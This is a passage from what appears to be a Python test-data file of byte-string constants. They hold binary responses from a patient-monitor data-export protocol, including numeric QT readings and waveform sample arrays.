b"\x00\x02\x00\x02\x09\x50\x00\x0a\x42\x61\x04\x00\x0a\xa0\x00\x00" \
b"\x00\x00\x88\x3c\x00\x06\x00\x40\x09\x21\x00\x02\x88\x3c\x09\x2f" \
b"\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01" \
b"\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\x3f\x20\x09\x27" \
b"\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x20\x00\x20\x00\x20\x00\x20" \
b"\x00\x00\x09\x11\x00\x02\x00\x02\x88\x3e\x00\x06\x00\x40\x09\x21" \
b"\x00\x02\x88\x3e\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c" \
b"\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04" \
b"\x00\x02\x3f\x24\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x63" \
b"\x00\x20\x00\x20\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x40" \
b"\x00\x06\x00\x40\x09\x21\x00\x02\x88\x40\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x42\x28\x00\x00" \
b"\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x56\x09\x27\x00\x10\x00\x0e" \
b"\x03\x94\x00\x51\x00\x54\x00\x63\x00\x20\x00\x20\x00\x00\x09\x11" \
b"\x00\x02\x00\x02\x88\x42\x00\x06\x00\x40\x09\x21\x00\x02\x88\x42" \
b"\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00" \
b"\x00\x01\x42\x28\x00\x00\x00\x00\x09\x24\x00\x04\x00\x02\xf1\x54" \
b"\x09\x27\x00\x10\x00\x0e\x00\x51\x00\x54\x00\x2d\x00\x48\x00\x52" \
b"\x00\x20\x00\x00\x09\x11\x00\x02\x00\x02\x88\x46\x00\x03\x00\x1e" \
b"\x09\x21\x00\x02\x88\x46\x09\x2f\x00\x04\x00\x01\x00\x06\x09\x3f" \
b"\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00\x00\x80\x88\x48" \
b"\x00\x03\x00\x1e\x09\x21\x00\x02\x88\x48\x09\x2f\x00\x04\x00\x01" \
b"\x00\x06\x09\x3f\x00\x0c\x00\x00\x20\x00\x00\x01\x24\x00\x00\x00" \
b"\x00\x80"
rsp_nu_8_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x00\x2a\x00\x01\x00\x07\x00\x24\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x00\x1a\x00\x01\x00\x00\x0e\x80\x8f\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x06\x00\x00\x00\x00\x00\x00"
rsp_wave_8_no_1 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x04\x58\x00\x04\x00\x07\x04\x52\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x04\x48\x00\x03\x00\x00\x0e\x80\x60\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x04\x2e\x00\x00\x00\x04" \
b"\x04\x28\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xe5\x1f\xe4\x1f\xe3\x1f\xe2\x1f\xe1\x1f\xe0\x1f\xdf" \
b"\x1f\xde\x1f\xdd\x1f\xdc\x1f\xdb\x1f\xda\x1f\xd9\x1f\xd8\x1f\xd8" \
b"\x1f\xd7\x1f\xd6\x1f\xd5\x1f\xd4\x1f\xd3\x1f\xd2\x1f\xd1\x1f\xd0" \
b"\x1f\xd0\x1f\xd0\x1f\xd1\x1f\xd3\x1f\xd4\x1f\xd5\x1f\xd7\x1f\xd8" \
b"\x1f\xd9\x1f\xdb\x1f\xdc\x1f\xde\x1f\xdf\x1f\xe0\x1f\xe2\x1f\xe3" \
b"\x1f\xe4\x1f\xe6\x1f\xe7\x1f\xe8\x1f\xe9\x1f\xeb\x1f\xec\x1f\xed" \
b"\x1f\xee\x1f\xf0\x1f\xf1\x1f\xf2\x1f\xf3\x1f\xf4\x1f\xf5\x1f\xf7" \
b"\x1f\xf8\x1f\xfa\x1f\xfb\x1f\xfc\x1f\xfc\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x10\x01\xb2\x09\x21\x00\x02\x08\x11\x09\x2f" \
b"\x00\x04\x00\x01\x00\x09\x09\x3f\x00\x0c\x00\x00\x08\x00\x00\x01" \
b"\x42\x80\x00\x00\x00\x00\x09\x6d\x00\x06\x00\x80\x10\x0e\x30\x00" \
b"\x0a\x16\x00\x14\x00\x04\x00\x10\x00\x04\x80\x08\x00\x03\x40\x01" \
b"\x00\x02\x80\x04\x00\x05\x40\x02\x09\x8d\x00\x04\x00\x00\x00\x10" \
b"\x09\x24\x00\x04\x00\x02\x01\x01\x09\x27\x00\x10\x00\x0e\x00\x49" \
b"\x00\x20\x00\x20\x00\x20\x00\x20\x00\x20\x00\x00\x09\x96\x00\x02" \
b"\x10\xb2\x09\x45\x00\x02\x02\x40\x09\x11\x00\x02\x00\x02\x09\x40" \
b"\x00\x02\x00\x00\x09\x6f\x00\x0c\xfe\xff\xf0\x00\xfd\x00\x9f\xfb" \
b"\x00\x00\x3f\xff\x09\x64\x00\x10\x00\x00\x00\x00\x00\x00\x00\x01" \
b"\x1f\xad\x20\x75\x00\x00\x00\x00\x09\x6a\x00\x04\x1e\x81\x21\xa1" \
b"\x09\x6e\x01\x06\x01\x01\x04\x00\x01\x00\x1f\xf7\x1f\xf8\x1f\xf7" \
b"\x1f\xf8\x1f\xf7\x1f\xf8\x1f\xf7\x1f\xf6\x1f\xf7\x1f\xf6\x1f\xf7" \
b"\x1f\xf6\x1f\xf5\x1f\xf6\x1f\xf4\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf4" \
b"\x1f\xf5\x1f\xf4\x1f\xf5\x1f\xf6\x1f\xf6\x1f\xf6\x1f\xf7\x1f\xf5" \
b"\x1f\xf6\x1f\xf7\x1f\xf7\x1f\xf8\x1f\xf9\x1f\xf7\x1f\xf8\x1f\xf8" \
b"\x1f\xf9\x1f\xfa\x1f\xfa\x1f\xf9\x1f\xfa\x1f\xfa\x1f\xfb\x1f\xfc" \
b"\x1f\xfb\x1f\xfb\x1f\xfc\x1f\xfd\x1f\xfe\x1f\xfe\x1f\xfd\x1f\xfe" \
b"\x1f\xff\x20\x00\x1f\xff\x1f\xff\x20\x00\x20\x00\x1f\xff\x1f\xfe" \
b"\x20\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x08\x11\x00\x01\x01\x0a" \
b"\x09\x6e\x01\x06\x01\x3d\x04\x00\x01\x00\x1f\xed\x1f\xeb\x1f\xeb" \
b"\x1f\xe9\x1f\xe9\x1f\xe7\x1f\xe7\x1f\xe7\x1f\xe5\x1f\xe5\x1f\xe3" \
b"\x1f\xe3\x1f\xe3\x1f\xe1\x1f\xe3\x1f\xe1\x1f\xe1\x1f\xdf\x1f\xdf" \
b"\x1f\xdd\x1f\xdd\x1f\xdb\x1f\xd9\x1f\xd9\x1f\xd9\x1f\xd9\x1f\xdd" \
b"\x1f\xdd\x1f\xdd\x1f\xdf\x1f\xdf\x1f\xdf\x1f\xe3\x1f\xe3\x1f\xe5" \
b"\x1f\xe5\x1f\xe5\x1f\xe7\x1f\xe9\x1f\xe9\x1f\xeb\x1f\xeb\x1f\xeb" \
b"\x1f\xed\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf1\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf5\x1f\xf7\x1f\xf7\x1f\xf9\x1f\xfb\x1f\xfd" \
b"\x1f\xfb\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x07\x8e\x00\x01\x00\x4a" \
b"\x09\x6e\x00\x46\x4b\xb4\x04\x00\x00\x40\x06\x0e\x06\x05\x05\xfb" \
b"\x05\xef\x05\xe0\x05\xd0\x05\xbe\x05\xab\x05\x95\x05\x7f\x05\x66" \
b"\x05\x4d\x05\x33\x05\x18\x04\xfc\x04\xe1\x04\xc6\x04\xab\x04\x91" \
b"\x04\x78\x04\x60\x04\x4b\x04\x37\x04\x26\x04\x18\x04\x0d\x04\x05" \
b"\x04\x01\x04\x00\x04\x04\x04\x0b\x04\x18"
rsp_wave_8_no_2 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x01\x0e\x80\x68\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x04\x28\x04\x3e\x04\x57\x04\x76\x04\x99\x04\xc0\x04\xec" \
b"\x05\x1d\x05\x51\x05\x89\x05\xc5\x06\x05\x06\x47\x06\x8c\x06\xd3" \
b"\x07\x1c\x07\x67\x07\xb3\x07\xff\x08\x4c\x08\x99\x08\xe4\x09\x2f" \
b"\x09\x78\x09\xbf\x0a\x03\x0a\x44\x0a\x83\x0a\xbd\x0a\xf3\x0b\x25" \
b"\x0b\x53"
rsp_wave_8_no_3 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x02\x0e\x80\x70\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\xa1\x94\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xff\x20\x04\x20\x0c" \
b"\x20\x14\x20\x1c\x20\x26\x20\x2f\x20\x38\x20\x42\x20\x4b\x20\x55" \
b"\x20\x5e\x20\x68\x20\x71\x20\x7a\x20\x83\x20\x8d\x20\x96\x20\x9f" \
b"\x20\xa8\x20\xad\x20\xab\x20\xa6\x20\x9e\x20\x95\x20\x8c\x20\x82" \
b"\x20\x78\x20\x6e\x20\x63\x20\x59\x20\x4f\x20\x45\x20\x3a\x20\x30" \
b"\x20\x26\x20\x1c\x20\x12\x20\x08\x1f\xff\x1f\xf7\x1f\xf3\x1f\xf0" \
b"\x1f\xee\x1f\xed\x1f\xed\x1f\xec\x1f\xec\x1f\xed\x1f\xed\x1f\xed" \
b"\x1f\xed\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\xa0\x84\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff" \
b"\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x1f\xff\x20\x00\x20\x02" \
b"\x20\x04\x20\x08\x20\x08\x20\x0b\x20\x10\x20\x12\x20\x15\x20\x17" \
b"\x20\x1a\x20\x1c\x20\x1f\x20\x22\x20\x25\x20\x27\x20\x2a\x20\x2d" \
b"\x20\x30\x20\x33\x20\x33\x20\x32\x20\x30\x20\x2f\x20\x2a\x20\x28" \
b"\x20\x24\x20\x22\x20\x1f\x20\x1d\x20\x19\x20\x17\x20\x14\x20\x12" \
b"\x20\x0e\x20\x0c\x20\x0a\x20\x06\x20\x03\x20\x01\x1f\xff\x1f\xfe" \
b"\x1f\xfe\x1f\xfd\x1f\xfd\x1f\xfc\x1f\xfc\x1f\xfb\x1f\xfb\x1f\xfb" \
b"\x1f\xfb\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x3d\x04\x00" \
b"\x01\x00\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\xa1\x04\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd" \
b"\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xfd\x1f\xff\x20\x03\x20\x09" \
b"\x20\x0f\x20\x13\x20\x1d\x20\x23\x20\x27\x20\x2f\x20\x35\x20\x3d" \
b"\x20\x43\x20\x4b\x20\x51\x20\x57\x20\x5d\x20\x65\x20\x6b\x20\x71" \
b"\x20\x77\x20\x79\x20\x77\x20\x73\x20\x6d\x20\x65\x20\x61\x20\x59" \
b"\x20\x53\x20\x4b\x20\x43\x20\x3b\x20\x35\x20\x2d\x20\x25\x20\x1d" \
b"\x20\x17\x20\x0f\x20\x07\x20\x01\x1f\xfb\x1f\xf5\x1f\xf3\x1f\xf1" \
b"\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x07\x8e\x00\x01\x00\x4a\x09\x6e\x00\x46\x4b\xb4\x04\x00" \
b"\x00\x40\x0b\x7b\x0b\x9f\x0b\xbd\x0b\xd5\x0b\xe8\x0b\xf6\x0b\xfe" \
b"\x0c\x00\x0b\xfc\x0b\xf3\x0b\xe5\x0b\xd2\x0b\xba\x0b\x9d\x0b\x7b" \
b"\x0b\x56\x0b\x2c\x0b\x00\x0a\xd0\x0a\x9d\x0a\x68\x0a\x31\x09\xf9" \
b"\x09\xbf\x09\x85\x09\x4b\x09\x10\x08\xd7\x08\x9e\x08\x66\x08\x30" \
b"\x07\xfb"
rsp_wave_8_no_4 = \
b"\xe1\x00\x00\x02\x00\x02" \
b"\x03\xb0\x00\x04\x00\x07\x03\xaa\x00\x21\x00\x00\x00\x00\xf1\x3b" \
b"\x03\xa0\x00\x03\x00\x03\x0e\x80\x78\x00\xff\xff\xff\xff\xff\xff" \
b"\xff\xff\x00\x01\x00\x09\x00\x00\x00\x01\x03\x86\x00\x00\x00\x04" \
b"\x03\x80\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x02\x04\x00" \
b"\x01\x00\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xed\x1f\xee\x1f\xee" \
b"\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xee\x1f\xef\x1f\xef" \
b"\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xef\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0\x1f\xf0" \
b"\x1f\xf0\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1\x1f\xf1" \
b"\x1f\xf1\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2\x1f\xf2" \
b"\x1f\xf2\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3\x1f\xf3" \
b"\x1f\xf3\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4\x1f\xf4" \
b"\x1f\xf4\x1f\xf5\x1f\xf5\x1f\xf5\x1f\xf4\x1f\xf3\x1f\xf3\x1f\xf2" \
b"\x1f\xf1\x1f\xf0\x1f\xf0\x1f\xef\x1f\xed\x1f\xed\x1f\xec\x1f\xeb" \
b"\x1f\xea\x1f\xe9\x1f\xe8\x1f\xe7\x1f\xe6\x1f\xe5\x1f\xe4\x1f\xe3" \
b"\x1f\xe2\x1f\xe1\x1f\xe0\x1f\xdf\x1f\xde\x1f\xdd\x1f\xdc\x1f\xdb" \
b"\x1f\xda\x08\x11\x00\x01\x01\x0a\x09\x6e\x01\x06\x01\x01\x04\x00" \
b"\x01\x00\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfb\x1f\xfd\x1f\xfc\x1f\xfc" \
